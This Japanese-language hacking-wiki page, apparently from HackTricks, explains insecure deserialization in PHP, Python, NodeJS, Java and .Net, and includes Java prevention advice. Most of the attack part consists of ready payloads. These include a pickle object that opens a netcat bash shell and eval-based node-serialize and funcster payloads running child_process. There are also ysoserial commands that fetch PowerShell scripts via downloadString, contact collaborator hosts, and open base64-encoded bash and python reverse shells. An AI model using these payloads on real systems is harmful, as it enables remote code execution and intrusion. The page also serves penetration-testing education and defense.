デシリアライズ
{{#include ../../banners/hacktricks-training.md}}
基本情報
シリアライズは、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
デシリアライズは、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライズは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。
PHP
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
__sleep: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。__wakeup: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。__unserialize: このメソッドは、オブジェクトがデシリアライズされるときに__wakeupの代わりに呼び出されます。__wakeupに比べてデシリアライズプロセスに対する制御が強化されます。__destruct: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。__toString: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
結果を見ると、オブジェクトがデシリアライズされるときに関数 __wakeup と __destruct が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに __toString 関数が呼び出されるとされていますが、どうやらそれは もう起こっていない ようです。
Warning
メソッド
__unserialize(array $data)は、クラスに実装されている場合、__wakeup()の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // デシリアライズ時に必要なタスクを実行します。 } }
説明された PHPの例をここで読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、ここ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはここ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます。
{{#ref}} php-deserialization-+-autoload-classes.md {{#endref}}
参照値のシリアライズ
何らかの理由で、別のシリアライズされた値への参照として値をシリアライズしたい場合は、次のようにできます:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、外部 PHP 拡張のコードを悪用できるかもしれません。
ですので、可能であれば、サーバーの phpinfo() を確認し、インターネットで検索(さらには PHPGGC の gadgets も)して、悪用できる可能性のあるガジェットを探してください。
phar:// メタデータデシリアライズ
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()** のような関数を使用している場合、phar プロトコルを使用して ファイル を 読み取る ときに発生する デシリアライズ を悪用しようとすることができます。
詳細については、以下の投稿をお読みください:
{{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}}
Python
Pickle
オブジェクトがアンピクルされると、関数 ___reduce___ が実行されます。
悪用されると、サーバーはエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
print(base64.b64encode(pickle.dumps(P(),2)))を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成する前に、バイパステクニックを確認してください。
pickle jailからの脱出に関する詳細情報は、以下を確認してください:
{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}}
Yaml & jsonpickle
以下のページでは、yamlの安全でないデシリアライズを悪用する技術を紹介し、Pickle, PyYAML, jsonpickle, ruamel.yamlのためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくっています:
{{#ref}} python-yaml-deserialization.md {{#endref}}
クラス汚染 (Pythonプロトタイプ汚染)
{{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}}
NodeJS
JSマジック関数
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数を持っていませんが、toString、valueOf、toJSONのように、直接呼び出さなくても頻繁に使用される関数があります。
デシリアライズを悪用する場合、これらの関数を妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
関数を直接呼び出さずに**"マジック"な方法で呼び出すもう一つの方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されるオブジェクトを"then"という関数型のプロパティを持つ別のプロミスに変換すると、別のプロミスによって返されるだけで実行される**からです。詳細については このリンク を参照してください。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ と prototype の汚染
この技術について学びたい場合は、次のチュートリアルを見てください:
{{#ref}} nodejs-proto-prototype-pollution/ {{#endref}}
node-serialize
このライブラリは関数をシリアライズすることを可能にします。例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
シリアライズされたオブジェクトは次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
関数がシリアライズされると、シリアライズされたオブジェクトに _$$ND_FUNC$$_ フラグが追加されることが例からわかります。
ファイル node-serialize/lib/serialize.js 内には、同じフラグとそのコードの使用方法が見つかります。
最後のコードのチャンクでわかるように、フラグが見つかった場合、eval が使用されて関数がデシリアライズされるため、基本的に ユーザー入力が eval 関数内で使用されていることになります。
しかし、関数をシリアライズするだけではそれを実行することはありません。なぜなら、コードの一部が**y.rceを呼び出す必要があるからで、これは非常にありそうにありません**。
それでも、シリアライズされたオブジェクトを修正して、いくつかの括弧を追加することで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。
次のコードのチャンクでは、最後の括弧と、unserialize 関数がどのように自動的にコードを実行するかに注意してください:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
以前に示したように、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、実行します evalを使用して。したがって、コードを自動実行するには、関数の作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行することができます:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
ここで詳細を見つけることができます この脆弱性を悪用する方法について。
funcster
funcsterの注目すべき点は、標準の組み込みオブジェクトへのアクセス不可であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、console.log()やrequire(something)のようなコマンドを使用すると、"ReferenceError: console is not defined"のような例外が発生します。
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
詳細については、このソースを読む。**
serialize-javascript
serialize-javascript パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、eval の直接使用が推奨されています:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
この関数がオブジェクトをデシリアライズするために使用される場合、簡単に悪用できます:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳細についてはこのソースを読んでください more information read this source.
Cryoライブラリ
次のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaでは、デシリアライズコールバックはデシリアライズプロセス中に実行されます。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。
フィンガープリント
ホワイトボックス
コードベース内の潜在的なシリアル化の脆弱性を特定するには、次のものを探します:
Serializableインターフェースを実装しているクラス。java.io.ObjectInputStream、readObject、readUnshare関数の使用。
特に注意を払うべき点:
- 外部ユーザーによって定義されたパラメータで使用される
XMLDecoder。 XStreamのfromXMLメソッド、特にXStreamのバージョンが1.46以下の場合、シリアル化の問題に対して脆弱です。ObjectInputStreamとreadObjectメソッドの組み合わせ。readObject、readObjectNodData、readResolve、またはreadExternalなどのメソッドの実装。ObjectInputStream.readUnshared。Serializableの一般的な使用。
ブラックボックス
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します(ObjectInputStreamから発生):
- 16進パターン:
AC ED 00 05。 - Base64パターン:
rO0。 Content-typeがapplication/x-java-serialized-objectに設定されたHTTPレスポンスヘッダー。- 以前の圧縮を示す16進パターン:
1F 8B 08 00。 - 以前の圧縮を示すBase64パターン:
H4sIA。 .faces拡張子を持つWebファイルとfaces.ViewStateパラメータ。これらのパターンをWebアプリケーションで発見した場合、Java JSF ViewState Deserializationに関する投稿に詳述されているように調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性の確認
Javaのデシリアライズ攻撃がどのように機能するかを学びたい場合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを確認してください。
ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
あなたは、脆弱性が知られているすべてのライブラリを確認し、Ysoserialがエクスプロイトを提供できるかどうかを試すことができます。または、Java-Deserialization-Cheat-Sheetに示されているライブラリを確認することもできます。
さらに、gadgetinspectorを使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。
gadgetinspectorを実行する際(ビルド後)、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください。
ブラックボックステスト
Burp拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするためのペイロードを選択しやすくなるかもしれません。
GadgetProbeについて詳しく学ぶにはこちらをお読みください。
GadgetProbeは**ObjectInputStreamデシリアライズ**に焦点を当てています。
Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialでエクスプロイト可能な脆弱なライブラリを特定し、それらをエクスプロイトできます。
Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。
Java Deserialization Scannerは**ObjectInputStream**デシリアライズに焦点を当てています。
Freddyを使用して、Burp内のデシリアライズ脆弱性を検出することもできます。このプラグインは、ObjectInputStream関連の脆弱性だけでなく、JsonおよびYmlデシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。
Freddyについての詳細情報はこちらで確認できます。
シリアライズテスト
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、SerializationDumperを使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
エクスプロイト
ysoserial
Javaデシリアライズをエクスプロイトするための主なツールはysoserialです(こちらからダウンロード)。また、複雑なコマンド(例えばパイプを使用)を使用できるysoseral-modifiedの使用も検討できます。
このツールは**ObjectInputStreamのエクスプロイトに焦点を当てていることに注意してください。
RCEペイロードの前に"URLDNS"ペイロードを使用して、注入が可能かどうかをテストすることをお勧めします**。いずれにせよ、"URLDNS"ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような 特殊文字 を使用することはできません。また、コマンドを実行するために "$()" を使用したり、スペース で区切られた 引数 をコマンドに渡すこともできません(echo -n "hello world" は可能ですが、python2 -c 'print "Hello world"' はできません)。ペイロードを正しくエンコードするために、このウェブページ を使用することができます。
次のスクリプトを使用して、Windows と Linux の すべての可能なコード実行 ペイロードを作成し、脆弱なウェブページでテストしてください:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
あなたは ysoserial と一緒に https://github.com/pwntester/SerialKillerBypassGadgetCollection を使用して、より多くのエクスプロイトを作成することができます。このツールに関する詳細は、ツールが発表された トークのスライド にあります: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec は、Javaのさまざまな Json および Yml シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、私は pom.xml にこの 依存関係 を 追加 する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Mavenをインストールし、プロジェクトをコンパイルします:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
このJava JSONライブラリについての詳細はこちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- いくつかのysoserialペイロードをテストしたい場合は、このウェブアプリを実行できます: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Javaはさまざまな目的で多くのシリアル化を使用します:
- HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
- RMI (Remote Method Invocation): Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
- HTTP経由のRMI: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
- JMX (Java Management Extensions): JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
- カスタムプロトコル: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
Prevention
Transient objects
Serializableを実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトをtransientとして実装できます。例えば:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializableを実装する必要があるクラスのシリアライズを避ける
特定の**オブジェクトがクラス階層のためにSerializable**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローするfinalなreadObject()メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Javaにおけるデシリアライズセキュリティの強化
java.io.ObjectInputStreamのカスタマイズは、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています。
- デシリアライズコードがあなたの管理下にある。
- デシリアライズのために期待されるクラスが知られている。
**resolveClass()**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズをBicycleクラスのみに制限しています。
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
セキュリティ強化のためのJavaエージェントの使用は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に有害なクラスのブラックリスト化に適用され、JVMパラメータを使用します:
-javaagent:name-of-agent.jar
動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。
rO0 by Contrast Securityの例を確認してください。
シリアライゼーションフィルターの実装: Java 9では、**ObjectInputFilter**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成できます。例えば:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
外部ライブラリを活用したセキュリティの強化: NotSoSerial、jdeserialize、およびKryoなどのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
- NotSoSerialは、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
- jdeserializeは、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- Kryoは、速度と効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
参考文献
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- デシリアライズとysoserialのトーク: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspectorについてのトーク: https://www.youtube.com/watch?v=wPbW6zQ52w8 とスライド: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec論文: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Javaと.NetのJSONデシリアライズ 論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, トーク: https://www.youtube.com/watch?v=oUAeWhW5b8c とスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- デシリアライズのCVE: https://paper.seebug.org/123/
JNDIインジェクション & log4Shell
JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)については、以下のページを参照してください。
{{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}}
JMS - Javaメッセージサービス
Javaメッセージサービス(JMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: Wikipedia)。
製品
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
悪用
基本的に、危険な方法でJMSを使用しているサービスがたくさんあります。したがって、これらのサービスにメッセージを送信するための十分な権限がある場合(通常は有効な資格情報が必要です)、デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります。
これは、この悪用において、そのメッセージを使用するすべてのクライアントが感染することを意味します。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
ツールJMETは、既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
参考文献
- JMETトーク: https://www.youtube.com/watch?v=0h8DWiOWGGA
- スライド: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
フィンガープリンティング
ホワイトボックス
ソースコード内で以下の出現を検査する必要があります:
TypeNameHandlingJavaScriptTypeResolver
ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。
ブラックボックス
